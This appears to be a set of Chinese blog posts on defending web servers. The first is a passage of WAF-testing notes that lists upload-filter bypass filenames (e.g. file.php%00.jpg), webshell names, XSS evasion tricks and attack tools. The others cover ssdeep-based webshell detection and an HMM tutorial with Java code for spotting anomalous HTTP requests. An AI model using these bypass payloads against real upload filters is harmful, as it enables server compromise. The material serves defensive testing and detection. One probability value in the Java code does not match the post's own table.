处理用户请求的时候允许用户提交文件路径,攻击者通过变化目录或文件地址来达到下载系统敏感文件的目的

补充: 
(1) PUT HTTP Method
(2) ActiveX
(3)JavaApplets
2.注入点
文件上传表单 

3.绕过
文件名白名单绕过
(1)利用上传文件请求的解析漏洞,e.g.不能正常提取文件名
(2)配合服务器解析漏洞,构造奇怪的文件名绕过白名单, e.g. file.php%00.jpg

服务器解析漏洞
(1)Apache解析漏洞
xxx.php.jpg
xxx.php.rar
xxx.php.x1.x2.x3
xxx.php. (windows下点和空格都会被自动消除)

(2)Nginx解析漏洞
xxx.jpg%00.php
xxx.jpg/a.php

(3)IIS解析漏洞
xxx.asp;.jpg xxx.asa;.jpg xxx.cer;.jpg xxx.cdx;.jpg
xxx.asp:.jpg xxx.asa:.jpg xxx.cer:.jpg xxx.cdx:.jpg
xxx.asp/xx.jpg xxx.asa/xx.jpg xxx.cer/xx.jpg xxx.cdx/xx.jpg


四、命令执行 (注入)

1.利用场景
输入点接收并运行系统命令

2.注入点
(1)POST
(2)GET
(3)Cookie

五、代码执行 (注入)

1.利用场景
(1)输入点接收并运行PHP/JSP/ASP代码

2.注入点
(1)POST
(2)GET
(3)Cookie


六、webshell (这个分类有点纠结,主要是从已经被种马的情况下看能否拦截)
1.利用场景
配合文件上传、代码执行,SQLI写马等操作写入webshell后进行webshell连接

webshell按传递payload来分类的
(1)payload采用请求头提交,以cookie提交最多,其中采取自定义请求头更隐蔽
(2)payload采用POST提交

2.注入点
(1)GET QueryString 
(2)POST
(3)Cookie
(4)其他请求头

3.绕过方式
webshell payload提交的时候一般都会加密

以下列出常见的webshell,可以探测一下这些基本的webshell WAF是否能拦截
caidao一句话连接客户端
Lanker微型php 后门客户 2.0正式版 一句话连接客户端
weevely php后门生成工具及客户端端
webacco php后门生成工具及客户端端
phpspy.php
b374k.php
80sec.php
90sec.php
r57.php
c99.php
b4che10r
X14ob-Sh3ll
aspxspy
server_sync.php (phpadmin后门文件)

七、XSS
1. 利用场景
从攻击者进行 XSS注的阶段来看,一般分为探测与攻击两个阶段。
探测阶段是指弹框测试 xss是否存在,常用alert(),prompt(),confirm()等函数(弹框只是一种,也有看 html标签是否能实际运行);
攻击阶段是指在确认存在 XSS后,进行利用,例如盲打盗取 cookie(session hijacking)伪造用户身份登陆,蠕虫传播,keylogger,下载安装恶意软件,构造钓鱼页面
(xss我了解的太少,xss好复杂滴说,按成因划分有反射型xss,存储型xss,DOM型XSS,mXSS(突变型XSS),UXSS(通用型XSS),按平台划分还有flash xss,xss和sqli的攻击方式都能出成一本书了)

2.注入点
记住:任何输入都是有害的
(1)GET QueryString 
(2)POST
(3)Cookie

3.绕过方式
1)编码绕过(url unicode编码,base64编码)
2)使用Data URI schema绕过
3)使用Javascript伪协议
4)基于事件函数绕过
5)类型转换绕过引号e.g.String.fromCharCode


八、CSRF
(其实CSRF更像一种攻击模式而不仅仅是漏洞类型)
1.攻击场景
由于http请求无状态,而服务器仅仅依赖于用户浏览器发送cookie信息进行身份合法性判断,而web浏览器会自动发送session id(cookie)的特性,攻击者诱使受害者访问恶意请求,以受害者的身份执行“构造”的请求 

2.注入点
记住:任何输入都是有害的
(1)GET QueryString 
(2)POST

3.绕过方式
csrf实际上是一种逻辑上的错误,常规csrf的防御其实就不好办(不能根据referer,有些csrf结合xss本来请求就是本域发起;而且还存在协议转换丢referer,mobile平台丢referer的情况)

九 、自动化工具攻击
自动化工具的攻击据统计占了总攻击的90%,能否准确的拦截这些自动化工具是非常考验WAF能力的评测项。
自动化工具分为离线工具与在线工具

<1>在线工具(基本是综合性工具):
各种CDN服务都附带网络安全在线检测功能(云端扫描器),这里就不提及了

<2>离线工具分为以下几类:
a. 漏洞扫描器

(1)综合漏洞扫描器
这里列出比较常用的
AWVS
AppScan
WebInspect
NetSparker
Websecurify
WebCruiser
Nikto
wikto 
w3af
vega
OWASP-ZAP
arachni-scanner
golismero 
brakeman ruby on rails漏洞扫描器
grendel-scan 

(2)专项扫描器
a. SQLI/NoSQLI
Havij, SQLMap, Pangolin

b.XSS
X5S,XSScrapy

c.文件包含
fimap

d.开源框架漏洞扫描器 
wpscan
joomscan

(3)密码破解工具
hydra
medusa
patator

(4)目录字典攻击工具
Pker
dirbuster

(5)其他
burpsuit
MSF

还有各种自己写的脚本工具 sh/perl/python(e.g. pycurl,python-urllib)/php/ruby/java

十、恶意爬虫/采集器/机器人 
恶意爬虫/采集器/机器人会给以内容为王,带宽又不宽裕的小网站带来要命的伤害,所以也是评测WAF防御能力的重要方面,能否有效精准地将其与搜索引擎(搜索引擎是不会提供其完整的IP段的)与正常的API调用区分开来一直是WAF面临的难题。

1.攻击场景
(1)伪装成搜索引擎绕过检测,该场景适用于缺少准确的的搜索引擎判断方法
(2)自动发送垃圾评论机器人等


十一、信息泄露
1.攻击场景
(1) 系统文件
直接访问备份、隐藏等信息文件
(2) 错误回显
暴目录,暴路径
(3)列目录
(4)管理后台暴露:搜索引擎收录管理后台后如何处理

十二 、重定向
主要用于钓鱼
一般情况下WAF是不会防御这种漏洞

十三、基于会话的攻击
1.攻击场景
(1)采用固定的会话
(2)会话ID生成算法可猜测
(3)利用xss等其他漏洞劫持会话ID

十四、权限验证漏洞
1.攻击场景
垂直/水平提升权限
(1)请求参数来控制权限
(2)referer来控制访问权限
一般情况下WAF不会防御这种漏洞(基本逻辑漏洞云WAF都不会防御)

十五 、拒绝服务
1.攻击场景
(1)xml billion laughs (消耗内存)
(2)CC (消耗带宽)
(3)slow HTTP DoS(消耗带宽)


十六、其他漏洞
(1)HTTP响应拆分
(2)XML实体攻击 可以参考pnig0s大牛的《XML实体攻击-从内网探测到命令执行步步惊心》 
(3)隐藏参数篡改
     1)hidden表单值篡改
     2)viewstate值篡改 
 (4)其他注入
     1)XXE注入
     2)  XPath注入
     3)LDAP注入
     4)CRLF注入
 (5)逻辑错误 云WAF不会防!!

上诉评测的方法都是从WAF防御覆盖度来考虑的,覆盖的越全当然越好。

其实,WAF防御能力的评测概括的说就是检出率 (漏报率 false negative)与准确率 (误报率false 
positive)。检出率是一般是WAF厂商对外宣传的核心,而实际准确率(不少云WAF对管理后台,API接口调用,富文

本的误报就满严重的)更为重要(安全一定不能影响正常使用),后续另开一篇来讲误报的问题。

十七、WAF测试工具

WAF能力评测的方法,一句话来说,就是构造攻击场景,发送攻击包,看WAF的响应。

测试工具地址: https://github.com/tanjiti/WAFTest 

源码介绍:
(1)攻击场景
https://github.com/tanjiti/WAFTest/tree/master/vulCode (持续添加中)
(2)发包工具
https://github.com/tanjiti/WAFTest/blob/master/HTTP.pl (参考:HTTP.pl——通过HTTP发包工具了解HTTP协议 )
https://github.com/tanjiti/WAFTest/blob/master/HTTPFromFile.pl (从文件读取HTTP包内容,并发送)
(3)攻击包
https://github.com/tanjiti/WAFTest/tree/master/t  (持续添加中)

测试示例:

git clone https://github.com/tanjiti/WAFTest.git

perl HTTPFromFile.pl -host www.tanjiti.com -dir t -code 403

WAF防御能力评测 - 碳基体 - 碳基体
 
选项说明如下

perl HTTPFromFile.pl --help


Usage: perl HTTPFromFile.pl [-code 403] [-uri 127.0.0.1] [-host example.com] [-port 80] -file request_file_path



-code: 指定拦截响应码,默认为403,不同的WAF会为拦截响应定制不同的响应码


-uri: 指定使用WAF的IP或域名,默认127.0.0.1


-host: 指定发送请求的Host头,如果uri未指定,则uri设置为host的值,默认localhost


-port: 指定使用WAF的端口号,默认80


-file: T文件的文件路径


-dir: 存放T文件的目录路径

ssdeep检测webshell

$
0
0
最新版本的ModSecurity增加了ssdeep检测webshell的接口,于是猛地回忆起搞客户端安全(游戏安全)的时候买过一本书《恶意软件分析诀窍与工具箱-对抗“流氓”软件的技术与利器》,这本书就提到了使用ssdeep来查找恶意软件(webshell是恶意软件的一种,安全领域是互通的嘛),本文介绍如何使用它来检测webshell。

一 、安装ssdeep
       下载ssdeep并安装 http://ssdeep.sourceforge.net/

tar zxvf ssdeep-2.12.tar.gz
cd ssdeep-2.12
./configure
make
make install

 二、识别webshell实例
接下来我们下载一个webshell,试一试如何使用ssdeep来识别webshell

以b374k.php为例

首先获得webshell b374k.php的ssdeep hash(fuzzy hashing)值,并存储到b37_hashs.txt文件中

ssdeep -b webshell/b374k.php >b37_hashs.txt

cat b37_hashs.txt

ssdeep,1.1--blocksize:hash:hash,filename
384:UsaSwsF3RtJhwhxY5janx0Rig5xJx52FRsBU0ipgFHF3xR:44snx0Rig5x752EBUxpc5,"b374k.php"

 然后使用这个值来获得相似度,相似度为100(当然啦,因为没有做任何修改)

ssdeep -bm b37_hashs.txt webshell/b374k.php

b374k.php matches b37_hashs.txt:b374k.php (100)


为了方便理解,我们拿ssdeep与md5做类比

md5 webshell/b374k.php

MD5 (webshell/b374k.php) = b8d3f0f9ad8b1083f24072f8cfe13e04


我们知道对文件取md5值是用于验证文件的完整性的,因为它对任意的修改都能感受到(hash碰撞小概率事件除外)

而ssdeep则用于计算文件相似度,它是通过计算上下文相关的分段hash值(fuzzy hashing)来判断文件相似度的。

在识别webshell的场景中,我们可以先获取样本的ssdeep hash值,然后设置相似度范围,来识别同一系列的变形shell
 
想想一个小白黑客获得一个好用的webshell后,第一件事会干嘛?肯定是改变登录账号密码

cp webshell/b374k.php webshell/b374k.php.bak

vim webshell/b374k.php.bak

ssdeep检测webshell - 碳基体 - 碳基体
 

想雁过留痕的,估计还会改webshell的title等文本来标记到此一游

ssdeep检测webshell - 碳基体 - 碳基体

 ssdeep检测webshell - 碳基体 - 碳基体

 
心思稍微重点的想绕过WAF的童鞋,说不定还会修改cookie中的关键字

例如批量替换cookie txtauth关键字
ssdeep检测webshell - 碳基体 - 碳基体
 

修改完毕后,分别用md5与ssdeep来看发生了什么

md5 webshell/b374k.php.bak

MD5 (webshell/b374k.php.bak) = b8d3f0f9ad8b1083f24072f8cfe13e04

md5值发生了变化,说明webshell文本内容发生了变化


接着使用ssdeep来查看修改后的webshell的相似度

ssdeep -bm b37_hashs.txt webshell/*

b374k.php matches b37_hashs.txt:b374k.php (100) #原始webshell
b374k.php.bak matches b37_hashs.txt:b374k.php (97)#修改了登录账号与作者标记
b374k.php.bak2 matches b37_hashs.txt:b374k.php (88)#修改了登录账号、作者标记、cookie特征


最后,我们选择一个合适的相似度来判断是否为webshell(真实场景中,调参找到合适的阈值才是考验人的活...)
例如,只筛选相似度90以上的

ssdeep -t 90 -bm b37_hashs.txt webshell/*

b374k.php matches b37_hashs.txt:b374k.php (100)
b374k.php.bak matches b37_hashs.txt:b374k.php (97)


三、扩展
除了使用ssdeep来查找相似的恶意软件(静态文本),我们还可以逆向思维,根据相似度来判断混在正常进程中的恶意进程,依据是进程在运行时由于变量变化而发生的变动是轻微的,而代码被加壳后的的变化是相当显著的,例如UPX加壳会使相似度瞬降到0%

参考:
http://blog.spiderlabs.com/2014/11/modsecurity-advanced-topic-of-the-week-detecting-malware-with-fuzzy-hashing.html
《恶意软件分析诀窍与工具箱-对抗“流氓”软件的技术与利器》

理工渣眼中的HMM及安全应用

$
0
0

虽然是理工妹子,但仍是数学渣。症状之一就是每次学习算法都能把自己绕成鸡窝头。所以尝试写一篇数学渣眼中的HMM。

我们先看一个让人头疼的HMM定义式(喜欢从公式下手是我多年来应付考试养成的不良习性)
一、HMM五元素

HMM简介 - 碳基体 - 碳基体
 
N:隐藏状态数 hidden states
M:观测状态数 observed states
A: 状态转移矩阵 transition matrix
B:发射矩阵  emission matrix 
pi:初始隐状态向量 initial state vector

好了,接下来我们用数学渣可以理解的语言来解释上面都是些什么鬼


女主:小红  用食物丈量心情
           心情状态有三种: 开心HMM简介 - 碳基体 - 碳基体 、正常HMM简介 - 碳基体 - 碳基体崩溃HMM简介 - 碳基体 - 碳基体
           上面三种状态的时候吃的食物也有三种: 汉堡HMM简介 - 碳基体 - 碳基体 西瓜HMM简介 - 碳基体 - 碳基体 、啤酒HMM简介 - 碳基体 - 碳基体

男主:小明 面部表情识别障碍

因此对男主而言,
隐藏状态:女主的心情状态
观测状态:女主吃的食物
隐藏状态数 :N=3
观测状态数:    M=3

初始隐状态向量pi: 
对照下表看:女主处于各种心情状态的概率,例如女主51%的概率是正常的,36%的概率是开心的,13%的概率是崩溃的

 开心HMM简介 - 碳基体 - 碳基体 正常HMM简介 - 碳基体 - 碳基体 崩溃HMM简介 - 碳基体 - 碳基体
 0.36 0.51 0.13
   
状态转移矩阵A:
上一个隐状态到下一个隐状态的转化概率矩阵
对照下表看:在女主上一个状态是开心的条件下,则此刻状态是开心的概率为36.5%,正常的概率为50%,崩溃的概率为13.5%
   开心HMM简介 - 碳基体 - 碳基体   正常HMM简介 - 碳基体 - 碳基体 崩溃HMM简介 - 碳基体 - 碳基体
  开心HMM简介 - 碳基体 - 碳基体 0.365 0.500 0.135
  正常HMM简介 - 碳基体 - 碳基体 0.250 0.125 0.625
 崩溃HMM简介 - 碳基体 - 碳基体 0.365 0.265 0.370
   

 发射矩阵B:
隐状态对应的观测状态的概率
对照下表看:在女主是开心的状态下,她吃汉堡的概率是10%,西瓜的概率是20%,啤酒的概率是70%
  汉堡HMM简介 - 碳基体 - 碳基体 西瓜HMM简介 - 碳基体 - 碳基体  啤酒HMM简介 - 碳基体 - 碳基体
 开心HMM简介 - 碳基体 - 碳基体 0.1 0.2 0.7
 正常HMM简介 - 碳基体 - 碳基体 0.5 0.25 0.25
 崩溃HMM简介 - 碳基体 - 碳基体 0.8 0.1 0.1
   

一个HMM模型就由上面描述的隐藏状态数N,观测状态数M,初始隐状态向量pi,状态转移矩阵A,混淆矩阵B五个要素组成。


我们知道了什么是HMM,接下来看HMM是干嘛的,用mahout的HMM库来示例HMM解决哪三类问题,仍然用小红和小明的场景

二、HMM解决的三类问题-mahout示例

现在男主小明开始做任务了,我们用现成的工具mahout来示例

安装指南(仅介绍local版)

wget http://archive.apache.org/dist/mahout/0.9/mahout-distribution-0.9.tar.gz

cd mahout-distribution-0.9/
vim bin/mahout
修改
MAHOUT_JAVA_HOME=/usr/lib/jvm/java-6-openjdk-amd64 (修改为你自己的java所在地址)
MAHOUT_LOCAL=true


任务一:学习(本例中根据女主吃的食物序列,推断一个合适的HMM模型)
输入:观测状态序列——女主吃的食物序列,我们用数字表示对应的食物与心情
           0:汉堡HMM简介 - 碳基体 - 碳基体
           1:西瓜HMM简介 - 碳基体 - 碳基体 
           2:啤酒HMM简介 - 碳基体 - 碳基体
           0 :崩溃HMM简介 - 碳基体 - 碳基体    
           1:开心HMM简介 - 碳基体 - 碳基体
            2:   正常HMM简介 - 碳基体 - 碳基体
输出:生成一个合适的HMM模型
算法BaumWelch

echo "0 1 2 2 2 1 1 0 0 2 1 2 1 1 1 1 2 2 2 0 0 0 0 0 0 2 2 2 0 0 0 0 0 0 1 1 1 1 2 2 2 2 2 0 2 1 2 0 2 1 2 1 1 0 0 0 1 0 1 0 2 1 2 1 2 1 2 1 1 0 0 2 2 0 2 1 1 0" > hmm-input

输入观测序列后,开始生成HMM模型

bin/mahout baumwelch -i hmm-input(观测序列文件) -o hmm-model(hmm模型文件) -nh 3(隐状态数) -no 3(观测状态数) -e .0001 -m 10

我们看结果

Initial probabilities: 初始隐状态向量pi
0 1 2
0.062295949769082204 0.22250521455286396 0.7151988356780538
Transition matrix:状态转移矩阵A:
0 1 2
0 0.3765444789556002 0.5583673988903969 0.06508812215400292
1 0.3759312048603327 0.2560959620304218 0.36797283310924545
2 0.5383787685979908 0.24752553248847228 0.21409569891353694
Emission matrix: 发射矩阵
0 1 2
0 0.4419117509334424 0.3106990713267408 0.2473891777398168
1 0.20948851558479514 0.2830936761513362 0.5074178082638686
2 0.34341499252552676 0.40310175949497634 0.2534832479794969



任务二:预测(根据上一个任务生成的HMM模型来预测女主后续会吃的东西)
输入:HMM模型
输出:预测后续的观测状态,或者计算给定规则状态序列的概率(这个我们在下一个场景中描述)
算法: ForwardBackward
        

bin/mahout hmmpredict -m hmm-model(hmm模型文件) -o hmm-predictions (预测结果文件)-l 10(预测多少个后续观测状态)

我们看结果

more hmm-predictions
2 2 0 0 1 2 1 2 2 1

预测女主后续会吃的东西依次为 :啤酒,啤酒,汉堡,汉堡,西瓜,啤酒,西瓜,啤酒,啤酒、西瓜


任务三:编码(根据女主吃的东西,判断女主当前的心情,这个也是男主最关心的任务,女孩的心思你别猜。。。)
输入:HMM模型,观测状态序列
输出:观测状态序列对应的隐藏状态序列
算法viterbi

输入观测状态序列,本例中女主吃的食物

echo "2 2 0 0 1 2 1 2 2 1" > hmm-viterbi-input

判断观测状态序列对应的隐状态序列

bin/mahout viterbi -i hmm-viterbi-input -o hmm-viterbi-output -m hmm-model -l

我们看结果

more hmm-viterbi-output
2 1 2 0 0 1 2 0 1 2

可以看到女主
吃的东西 :   啤酒,啤酒,汉堡,汉堡,西瓜,啤酒,西瓜,啤酒,啤酒、西瓜
对应的心情: 正常,开心,正常,崩溃,崩溃,开心,正常,崩溃,开心,正常


三、安全上的应用—— jahmm示例
现在我们知道了什么是HMM以及HMM能做什么,最关键的时刻到了,现实场景的应用。我们先提出
需要解决的问题—HTTP异常请求的检测(弥补基于签名检测的不足)
解决方案猜想——HTTP请求内容实际是一系列字符串,而正常字符串出现的概率远大于异常字符串。我们可以靠概率来划分正常请求与异常请求。
有了这个前提,再结合HMM的学习功能与预测功能,学习功能能根据观测序列(HTTP请求内容)生成最适合的HMM模型,而预测功能能在HMM模型下能计算指定观测序列(HTTP请求内容)的概率 。我们得出下面这个
解决方案——两个阶段解决问题:
阶段一: 训练; 使用正常日志生成HMM模型,并设置正常请求的概率范围
阶段二: 检测; 使用待检测的请求来计算该请求在上一步所生成的HMM模型中的概率,不在正常请求概率范围内的则判定为异常请求。
原理:我们可以根据概率分布来区分正常与异常请求的原理是正常请求远远多于异常请求;正常请求是相似的,异常请求各异

接下来是代码实现,我们先了解一下jahmm——java实现的hmm算法库。我们从命令行使用来了解其功能,接受能力强的,可以直接看第3部分——实现 HTTP协议异常检测的关键部分

1. jahmm 命令行
(1) 安装指南

我们从命令行熟悉这款工具
(2) 选项说明
java -cp jahmm-0.6.1.jar be.ac.ulg.montefiore.run.jahmm.apps.cli.Cli -help
-opdf [integer|gaussian|gaussian_mixture|multi_gaussian]  指定观测序列的分布特征
        Determines the observation distribution type associated with the
        states of the HMM.


-r <range> 如果观测序列为整数,指定范围

        The 'range' option is mandatory when using

        distributions dealing with integers; <range> is a number such

        that the distribution is related to numbers in the range

        0, 1, ..., range-1.

-ng <number> 如果观测序列的分布为多个高斯分布,指定高斯分布的个数

        This option is mandatory when using gaussian mixture

        distribution.  It  determines the number of gaussians.

-d <dimension> 如果观测序列的分布为多维度向量的高斯分布,指定向量纬度

        This option is mandatory when using multi-variate gaussian

        distributions. It determines the dimension of the observation

        vectors.
-n <nb_states> 指定隐状态数
        The number of states of the HMM.


-i <input_file> 指定输入

        An HMM input file.  Default is standard input.

-o <output_file> 指定输出

        An HMM output file.  Default is standard output.

-os <output_file>  指定输出序列文件 

        A sequences output file.

  Default is standard output.

-is <input_file>  指定输入序列文件

        A sequences input file.

-ikl <input_file> 指定使用 Kullback-Leibler 算法计算HMM距离的另一个HMM模型
        An HMM input file with respect to which a Kullback-Leibler distance can

        be computed.

-ni <nb> 指定BaumWelch算法迭代次数

        The number of iterations performed by the Baum-Welch algorithm.  Default is 10.

All input (resp. output) file names can be replaced by '-' to mean using

standard input (resp. output).
1)生成hmm模型

java -cp jahmm-0.6.1.jar be.ac.ulg.montefiore.run.jahmm.apps.cli.Cli create -opdf integer -r 3 -n 3 -o initial.hmm

生成一个
隐藏状态数N=3
观测状态数M= 3

-opdf 参数:观测序列的类型
                 -opdf integer -r 10 观测状态序列为0,1,2,...,9表示
                 -opdf gaussian_mixture -ng 3 观测状态序列的分布为3个高斯分布
                 -opdf  multi_gaussian -d 3 观测状态序列的元素为3*3矩阵

2)打印这个hmm模型

java -cp jahmm-0.6.1.jar be.ac.ulg.montefiore.run.jahmm.apps.cli.Cli print -i initial.hmm

也可以直接打开文本看

HMM with 3 state(s)

State 0
Pi: 0.333
Aij: 0.333 0.333 0.333
Opdf: Integer distribution --- 0.333 0.333 0.333

State 1
Pi: 0.333
Aij: 0.333 0.333 0.333
Opdf: Integer distribution --- 0.333 0.333 0.333

State 2
Pi: 0.333
Aij: 0.333 0.333 0.333
Opdf: Integer distribution --- 0.333 0.333 0.333

3)使用k-means算法生成HMM模型
输入:观测状态序列
输出:HMM模型

vim testInteger.seq

编辑

0; 1; 2; 2; 2; 1; 1; 0; 0; 2; 1; 2; 1; 1; 1; 1; 2; 2; 2; 0; 0; 0; 0; 0; 0; 2; 2; 2; 0; 0; 0; 0; 0; 0; 1; 1; 1; 1; 2; 2; 2; 2; 2; 0; 2; 1; 2; 0; 2; 1; 2; 1; 1; 0; 0; 0; 1; 0; 1; 0; 2; 1; 2; 1; 2; 1; 2; 1; 1; 0; 0; 2; 2; 0; 2; 1; 1; 0;

使用k-means算法生成HMM模型, 隐状态数为3,观测状态数为3

java -cp jahmm-0.6.1.jar be.ac.ulg.montefiore.run.jahmm.apps.cli.Cli learn-kmeans -opdf integer -r 3 -n 3 -is testInteger.seq -o test.hmm

查看模型

java -cp jahmm-0.6.1.jar be.ac.ulg.montefiore.run.jahmm.apps.cli.Cli print -i test.hmm
HMM with 3 state(s)

State 0
Pi: 1.0
Aij: 0.56 0.16 0.28
Opdf: Integer distribution --- 1 0 0

State 1
Pi: 0.0
Aij: 0.24 0.4 0.36
Opdf: Integer distribution --- 0 1 0

State 2
Pi: 0.0
Aij: 0.185 0.407 0.407
Opdf: Integer distribution --- 0 0 1

4)使用BaumWelch算法生成HMM模型
输入:观测状态序列
输出:HMM模型
使用BaumWelch算法生成HMM模型,隐状态数为3,观测状态数为3,算法迭代次数为10

java -cp jahmm-0.6.1.jar be.ac.ulg.montefiore.run.jahmm.apps.cli.Cli learn-bw -opdf integer -r 3 -is testInteger.seq -ni 10 -i initial.hmm -o test_bw.hmm

查看模型

java -cp jahmm-0.6.1.jar be.ac.ulg.montefiore.run.jahmm.apps.cli.Cli print -i test_bw.hmm HMM with 3 state(s)

State 0
Pi: 0.333
Aij: 0.333 0.333 0.333
Opdf: Integer distribution --- 0.333 0.321 0.346

State 1
Pi: 0.333
Aij: 0.333 0.333 0.333
Opdf: Integer distribution --- 0.333 0.321 0.346

State 2
Pi: 0.333
Aij: 0.333 0.333 0.333
Opdf: Integer distribution --- 0.333 0.321 0.346

5)按指定的HMM模型生成观测序列
输入:HMM模型
输出:观测序列

java -cp jahmm-0.6.1.jar be.ac.ulg.montefiore.run.jahmm.apps.cli.Cli generate -opdf integer -r 3 -i test.hmm -os kmeans.seq

6)计算两个HMM模型之间的距离 

java -cp jahmm-0.6.1.jar be.ac.ulg.montefiore.run.jahmm.apps.cli.Cli distance-kl -opdf integer -r 3 -i test_bw.hmm -ikl initial.hmm

结果为

8.623062905801134E-4


(3) 文件格式说明
jahmm定义了两种文件格式
a. 观测序列文件
obser1; obser2; obser3; 
观测序列之间用分号+空格隔开
多个观测序列用换行符号隔开

b. HMM模型文件

Hmm v1.0

NbStates 3

State
Pi 0.333
A 0.333 0.333 0.333
IntegerOPDF [0.33333333333333365 0.32051282051282076 0.3461538461538464 ]


State
Pi 0.333
A 0.333 0.333 0.333
IntegerOPDF [0.33333333333333365 0.32051282051282076 0.3461538461538464 ]


State
Pi 0.333
A 0.333 0.333 0.333
IntegerOPDF [0.33333333333333365 0.32051282051282076 0.3461538461538464 ]

2. jahmm java 接口
在使用命令行熟悉了jahmm的功能后,我们先熟悉一下我们会用到的jahmm 关键类
(1)HMM类(最重要的类)


属性:
初始变量pi      double pi[];
隐状态转移矩阵A double a[][];
发射矩阵B   ArrayList<Opdf<O>> opdfs;

构造函数  
Hmm(int nbStates, OpdfFactory<? extends Opdf<O>> opdfFactory) 初始向量,状态转移函数,发射矩阵 皆取平均值
Hmm(double[] pi, double[][] a, List<? extends Opdf<O>> opdfs) 用指定初始向量,状态转移函数,发射矩阵生成HMM对象
Hmm(int nbStates) 初始向量,状态转移函数,发射矩阵 皆取空


getter
初始向量矩阵:double getPi(int stateNb)
发散矩阵:Opdf<O> getOpdf(int stateNb)
状态转移矩阵:double getAij(int i, int j)


setter
初始向量矩阵:setPi(int stateNb, double value)
发散矩阵:setOpdf(int stateNb, Opdf<O> opdf)
状态转移矩阵:setAij(int i, int j, double value)

方法:
获得隐状态数:int nbStates()
获得指定观测状态序列对应的最有可能的隐状态序列,使用viterbi算法 int[] mostLikelyStateSequence(List<? extends O> oseq)
获得指定观测状态序列的概率,使用ForwardBackward算法   double probability(List<? extends O> oseq)
获得指定观测状态序列的概率(用自然对数来表示),使用ForwardBackward算法 double lnProbability(List<? extends O> oseq)
获得指定观测状态序列的P[oseq,sseq|H]概率 double probability(List<? extends O> oseq, int[] sseq)
获得HMM文本描述 toString()  
获得HMM文本描述String toString(NumberFormat nf)



(2)learn 训练算法类

BaumWelchLearner

setter
设置迭代次数 setNbIterations(int nb) 默认为9次

getter
获得迭代次数  getNbIterations()

方法
 训练  learn(Hmm<O> initialHmm, List<? extends List<? extends O>> sequences)

BaumWelchScaledLearned (继承BaumWelchLearner,避免underflows)

(3)HMM代码示例
接下来的代码用来示例生成HMM模型,完成HMM解决的三个问题,以及HMM模型可视化

package helloHMM;
import java.util.ArrayList;
import java.io.IOException;
import be.ac.ulg.montefiore.run.jahmm.Hmm;
import be.ac.ulg.montefiore.run.jahmm.ObservationInteger;
import be.ac.ulg.montefiore.run.jahmm.OpdfIntegerFactory;
import be.ac.ulg.montefiore.run.jahmm.OpdfInteger;
import be.ac.ulg.montefiore.run.jahmm.learn.BaumWelchScaledLearner;
import be.ac.ulg.montefiore.run.jahmm.draw.GenericHmmDrawerDot;


public class test {


public static void main(String[] args){
/////////////////////////
//generate origin HMM model 生成初始的HMM模型,以小红与小明为例子
/////////////////////////
int nbHiddenStates = 3;
int nbObservedStates = 3;

Hmm<ObservationInteger> originHmm =
new Hmm<ObservationInteger>(nbHiddenStates,new OpdfIntegerFactory(nbObservedStates));

//set initial state vector -Pi
originHmm.setPi(0, 0.36);
originHmm.setPi(1, 0.51);
originHmm.setPi(2, 0.31);

//set transition matrix - Aij
originHmm.setAij(0, 0, 0.365);
originHmm.setAij(0, 1, 0.500);
originHmm.setAij(0, 2, 0.135);
originHmm.setAij(1, 0, 0.250);
originHmm.setAij(1, 1, 0.125);
originHmm.setAij(1, 2, 0.625);
originHmm.setAij(2, 0, 0.365);
originHmm.setAij(2, 1, 0.265);
originHmm.setAij(2, 2, 0.370);

//set emission matrix - Opdf
originHmm.setOpdf(0, new OpdfInteger(new double[] {0.1, 0.2, 0.7} ));
originHmm.setOpdf(1, new OpdfInteger(new double[] {0.5, 0.25, 0.25}));
originHmm.setOpdf(2, new OpdfInteger(new double[] {0.8, 0.1, 0.1}));


String originHmmStr = originHmm.toString();
System.out.print("Origin HMM *************** \n");
System.out.print(originHmmStr);

/////////////////////////////////////////
//task One: learn use BaumWelch Algorithm 学习,生成合适的HMM模型
/////////////////////////////////////////
ArrayList<ArrayList<ObservationInteger>> observSequence =
new ArrayList<ArrayList<ObservationInteger>>();

int [] array = {0,1,2,2,2,1,1,0,0,2,1,2,1,1,1,1,2,2,2,0,0,0,0,0,0,2,2,2,0,0,0,0,0,0,1,1,1,1,2,2,2,2,2,0,2,1,2,0,2,1,2,1,1,0,0,0,1,0,1,0,2,1,2,1,2,1,2,1,1,0,0,2,2,0,2,1,1,0};

ArrayList<ObservationInteger> OneSequence = new ArrayList<ObservationInteger>();
for(int i = 0; i < array.length; i++)
OneSequence.add(new ObservationInteger(array[i]));

observSequence.add(OneSequence);

BaumWelchScaledLearner bw = new BaumWelchScaledLearner();
bw.setNbIterations(10);
Hmm<ObservationInteger> learnedHmm_bw = bw.learn(originHmm, observSequence);
String learnedHmmStr_bw = learnedHmm_bw.toString();
System.out.print("\nTask 1:Learned HMM use BaumWelch *************** \n");
System.out.print(learnedHmmStr_bw);


////////////////////////////////////////////
//task two: get the sequence the probability 评估,获得指定观测序列的概率
////////////////////////////////////////////
int [] array_seq = {1, 2, 0, 0, 0, 0, 1, 2, 0};
ArrayList<ObservationInteger> Sequence_to = new ArrayList<ObservationInteger>();
for(int i = 0; i < array_seq.length; i++)
Sequence_to.add(new ObservationInteger(array_seq[i]));

//HMM's Probability use ForwardBackward Algorithm
double seq_prob = learnedHmm_bw.probability(Sequence_to);
System.out.printf("\nTask 2: %s 's probability is %f \n", Sequence_to.toString(), seq_prob);


////////////////////////////////////////////
//task three: get the hidden states sequence of the observer states sequence解码,获得指定观测序列对应的最有可能的隐藏序列

//////////////////////////////
int [] array_seq_2 = {2, 2, 0, 0, 1, 2, 1, 2, 2, 1};
ArrayList<ObservationInteger> Sequence_three = new ArrayList<ObservationInteger>();
for(int i = 0; i < array_seq_2.length; i++)
Sequence_three.add(new ObservationInteger(array_seq_2[i]));

//use the Viterbi Algorithm
int [] hidden_states_seq = learnedHmm_bw.mostLikelyStateSequence(Sequence_three);


ArrayList<ObservationInteger> Sequence_hidden = new ArrayList<ObservationInteger>();
for(int i=0; i<hidden_states_seq.length; i++)
Sequence_hidden.add(new ObservationInteger(hidden_states_seq[i]));

System.out.printf("\nTask 3: observer hidden states sequence %s 's hidden states sequence is %s \n",
Sequence_three.toString(),Sequence_hidden.toString());


//////////////////////////////////////////////////
//HmmDrawerDot Hmm模型可视化
//////////////////////////////////////////////////
//you can install graphviz and use GVEdit to view the HMM model
GenericHmmDrawerDot hmmDrawer = new GenericHmmDrawerDot();

try{
hmmDrawer.write(originHmm, "hmm-origin.dot");
}
catch(IOException e){
System.err.print("Writing file triggered an exception: " + e);
}

}


}



注意
